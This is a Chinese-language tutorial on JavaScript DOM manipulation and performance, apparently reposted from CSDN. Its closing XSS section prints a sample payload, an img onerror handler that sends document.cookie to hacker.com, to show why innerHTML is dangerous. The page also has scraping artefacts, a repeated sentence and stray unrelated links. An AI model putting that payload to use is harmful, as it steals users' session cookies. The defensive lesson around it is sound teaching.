JavaScript DOM 核心操作全攻略:从基础到性能优化

linbojue
• 阅读 1

在前端开发中,DOM(Document Object Model,文档对象模型) 是连接 JavaScript 脚本与 HTML 文档的桥梁。通过 DOM API,我们可以动态地访问、修改页面的内容、结构和样式。

本文将从获取元素、操作内容、修改属性、控制样式、节点变换以及性能优化六个维度,带你全面掌握 DOM。

一、 精准选择元素:从“能用”到“性能最优” 选择元素是所有操作的前提,但不同的选择方式在性能和返回结果的“实时性”上有显著区别。

  1. 常用选择器对比 方法 返回类型 是否实时 (Live) 性能 建议 getElementById 单个 Element - 极高 有 ID 时首选 getElementsByTagName HTMLCollection 是 高 慎用(实时更新会影响循环性能) querySelector 第一个 Element - 中 灵活性最高,推荐 querySelectorAll NodeList 否 中 遍历操作的首选
  2. “实时”集合的坑(避坑指南) getElementsByClassName 返回的是动态集合。如果在循环中改变了类名,集合长度会实时变化,导致漏掉元素。

// ❌ 错误示范:会导致无限循环或漏处理 const activeItems = document.getElementsByClassName('active'); for (let i = 0; i < activeItems.length; i++) { activeItems[i].classList.remove('active'); // 处理一个,集合长度减一个,i 却在增加 }

// ✅ 正确方案:使用 querySelectorAll 或将类数组转为真数组 const items = document.querySelectorAll('.active'); items.forEach(el => el.classList.remove('active')); // NodeList 是静态的,安全! AI写代码 ng-star-inserted

二、 内容与属性的高阶操作

  1. 内容修改的安全性 textContent: 纯文本,性能高,防 XSS 注入。

innerHTML: 解析 HTML,适合插入复杂结构。

insertAdjacentHTML (进阶建议): 比 innerHTML 更精准、性能更好,因为它不会重新解析整个容器。

const list = document.querySelector('#user-list'); // 在容器末尾插入,不破坏原有节点 list.insertAdjacentHTML('beforeend', '

  • 新用户: Zhang
  • '); AI写代码 ng-star-inserted 2. 属性的“双面性”:Property vs Attribute Attribute 属性 属性: HTML 标签上的初始值(总是字符串)。

    Property 财产 财产: JS 对象的实时状态(可以是布尔、数字、对象)。

    const input = document.querySelector('input'); input.setAttribute('value', 'hello'); // 修改 HTML 属性 console.log(input.value); // "hello" (同步修改)

    // 特殊情况:checked // input.getAttribute('checked') 获取的是初始值 // input.checked 获取的是用户当前的勾选状态(布尔值) AI写代码 ng-star-inserted 3. Dataset 自定义数据(现代用法) // HTML:

    const app = document.querySelector('#app'); console.log(app.dataset.userId); // "99" (自动处理连字符) let config = JSON.parse(app.dataset.config); // 存储 JSON 对象 AI写代码 ng-star-inserted 三、 样式控制:超越 .style

    1. 批量操作样式 (classList) 避免 el.style.xxx = yyy 的连排写法,那会频繁触发重绘。

    const box = document.querySelector('.box'); // 推荐 box.classList.add('active', 'highlight'); box.classList.replace('old-class', 'new-class'); AI写代码 ng-star-inserted 2. 获取计算后的样式 (ComputedStyle) el.style 只能获取行内样式。要获取 CSS 文件中定义的最终样式,必须使用:

    const width = window.getComputedStyle(box).width; console.log(width); // 输出类似 "250.5px" (带单位的精确值) AI写代码 ng-star-inserted 3. 操作 CSS 变量 (进阶) 通过 JS 动态修改全局皮肤:

    document.documentElement.style.setProperty('--main-color', '#ff0000'); AI写代码 ng-star-inserted 四、 节点操作:增删改查的实战

    1. 极其高效的插入:DocumentFragment 如果你要插入 1000 个
    2. < li>,直接循环 appendChild 列表末尾 会让浏览器崩溃。

    const ul = document.querySelector('ul'); const fragment = document.createDocumentFragment(); // “虚拟”容器

    for (let i = 0; i < 1000; i++) { const li = document.createElement('li'); li.textContent = List Item <span style="color:#24292e">${i}</span>; fragment.appendChild(li); // 此时不触发布局计算 } ul.appendChild(fragment); // 只触发一次重排 (Reflow) AI写代码 ng-star-inserted

    1. 节点克隆 cloneNode(true):true 真正的 代表深克隆(包含子节点和内容)。注意克隆后的 ID 冲突问题。

    2. 关系查找 (Traversing) el.closest('.container') el.closest(“.container”): 神级方法。向上查找最近的匹配父元素。

    el.children: 只选标签,避开讨厌的文本节点(text node)。

    五、 事件委派:DOM 性能的核心 不要给 100 个

  • < li> 分别绑定点击事件,应该绑定给它们的父元素
      < ul>。

      const list = document.querySelector('#list'); list.addEventListener('click', (e) => { // 确保点击的是 li,而不是 ul 背景 const target = e.target.closest('li'); if (target && list.contains(target)) { console.log('点击了列表项:', target.textContent); } }); AI写代码 ng-star-inserted 六、 性能优化:如何避免页面卡顿? DOM 操作慢,本质上是触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)。

      1. 读写分离 浏览器有优化机制,会合并多次修改。但如果你在修改中间插入了读取操作,优化就会失效。

      // ❌ 坏习惯:触发多次强制重排 el.style.width = '100px'; console.log(el.offsetWidth); // 读取操作,强制浏览器立即计算布局 el.style.height = '100px';

      // ✅ 好习惯:先读后写,批量处理 const w = el.offsetWidth; const h = el.offsetHeight; el.style.width = (w + 10) + 'px'; el.style.height = (h + 10) + 'px'; AI写代码 ng-star-inserted

      1. 离线操作 在修改复杂 DOM 前,先将其 display: none 显示:没有(离线),修改完毕后再显示。这样中间的过程只触发两次重排。

      七、 安全拓展:防范 XSS 攻击 当使用 innerHTML 插入用户提交的评论时:

      // 恶意代码示例 const userComment = <img src="x" onerror="fetch('http://hacker.com?cookie=' + document.cookie)">;

      // ❌ 危险操作 document.body.innerHTML = userComment;

      // ✅ 安全操作:永远对外部数据进行过滤或直接使用 textContent const div = document.createElement('div'); div.textContent = userComment; // 恶意代码会被当做纯文字显示,不执行 AI写代码 ng-star-inserted

      总结 掌握 DOM 的精髓不在于背诵 API,而在于:

      最小化重排频率(使用 Fragment、读写分离)。

      利用事件冒泡(事件委派)。

      时刻警惕安全隐患(慎用 innerHTML)。

      善用现代方法(classList, dataset, closest)。 (类列表,数据集,分类

      希望这份经过“自查”与“扩充”的指南能让你对 DOM 的理解提升一个层次! ———————————————— 版权声明:本文为CSDN博主「2501_94831187」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/2501_94831187/article/details/156827418 https://infogram.com/untitled-1h0r6rzwyo93w4e https://infogram.com/untitled-1h9j6q759ol1v4g https://infogram.com/untitled-1h0r6rzwyo7ew4e https://infogram.com/microsoft-office-word-2007-docx-1h7v4pd0lv1r84k https://infogram.com/untitled-1hxj48mqg09zq2v https://infogram.com/untitled-1h9j6q759on3v4g https://infogram.com/untitled-1h984wv15wyqz2p https://infogram.com/untitled-1h0r6rzwyo1vw4e https://infogram.com/untitled-1h0n25opq079z4p https://infogram.com/untitled-1h7v4pd0lvg084k

  • 点赞
    收藏
    评论区
    推荐文章
    美凌格栋栋酱 美凌格栋栋酱
    12个月前
    Oracle 分组与拼接字符串同时使用
    SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(
    Wesley13 Wesley13
    4年前
    MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
    背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
    凝雪探世界 凝雪探世界
    4年前
    js-Answers一
    JavaScript的组成JavaScript由以下三部分组成:1.ECMAScript(核心):JavaScript语言基础2.DOM(文档对象模型):规定了访问HTML和XML的接口3.BOM(浏览器对象模型):提供了浏览器窗口之间进行交互的对象和方法JS的基本数据类型和引用数据类型
    Karen110 Karen110
    4年前
    一篇文章带你了解JavaScript htmldom 元素
    这篇文章将教会大家如何查找和访问网页中的HTML元素。一、找到HTML元素通常,使用JavaScript,想操作HTML元素。要做到这一点,必须先找到元素。有几种方法可以做到这一点。找到DOM中的HTML元素的最简单的方法,是利用元素的id。使用id"intro"找到元素:varmyElementdocument.getElementById("in
    Stella981 Stella981
    4年前
    Javascript基础知识学习(三)
    前言:javascript是一种轻量的、动态的脚本语言,我们为什么要使用javascript?对于一个网页的设计,.html用来放置网页的内容,.css则用来设计网页的样式和布局,那么.js它主要是使网页能够产生交互,意思就是能够通过代码动态的修改HTML、操作CSS、响应事件、获取用户计算机的相关信息等。javascript不是所有的浏览器
    Stella981 Stella981
    4年前
    Javascript中的正则表达式
    正则表达式提供了强大的字符串检索和操作的能力,这些能力在Javascript中有着比其他语言更广泛的应用。对于运行于浏览器环境中的Javascript,HTML文档的DOM操作和样式操作是其主要任务之一,正则表达式的非凡能力正可以应用于此,如:操作DOM节点的内容、解析元素选择器、根据属性值过滤和匹配元素等等。通常总是存在其它方式实现这些操作,但正则表达式可
    Stella981 Stella981
    4年前
    JavaScript DOM编程艺术(第2版)学习笔记1(1~4章)
    第一章一些基本概念HTML(超文本标记语言),构建网页的静态结构,由一系列的DOM组成;CSS(层叠样式表),给网页各部分结构添加样式;JavaScript,通过获取DOM给静态结构加上动作,使用户能够与静态网页进行交互;DOM,一种API(应用程序接口),通过这个接口动态的访问和修改结构或样式。浏
    Stella981 Stella981
    4年前
    JavaScript基础
    _1,js组成_       核心:ECMAScript标准                 此标准指定了js的基础语法,数据类型,关键字,操作符,对象;       DOM:文档对象模型标准(DocumentobjectModel)         是js针对xm
    Stella981 Stella981
    4年前
    JavaScript的BOM和DOM
    1,window对象,所有浏览器都支持window对象,它表示浏览器窗口BOM(browserObjectModel)是指浏览器对象模型,它使JavaScript有能力与浏览器进行"对话".DOM(DocumentObjectModel)是指文档对象类型,通过它,可以访问HTML文档的所有元素window对象客户端JavaScript最高
    小万哥 小万哥
    1年前
    DOM(文档对象模型):理解网页结构与内容操作的关键技术
    DOM(文档对象模型)定义了一种访问和操作文档的标准。它是一个平台和语言无关的接口,允许程序和脚本动态访问和更新文档的内容、结构和样式。HTMLDOM用于操作HTML文档,而XMLDOM用于操作XML文档。HTMLDOM示例通过ID获取并修改HTML元素的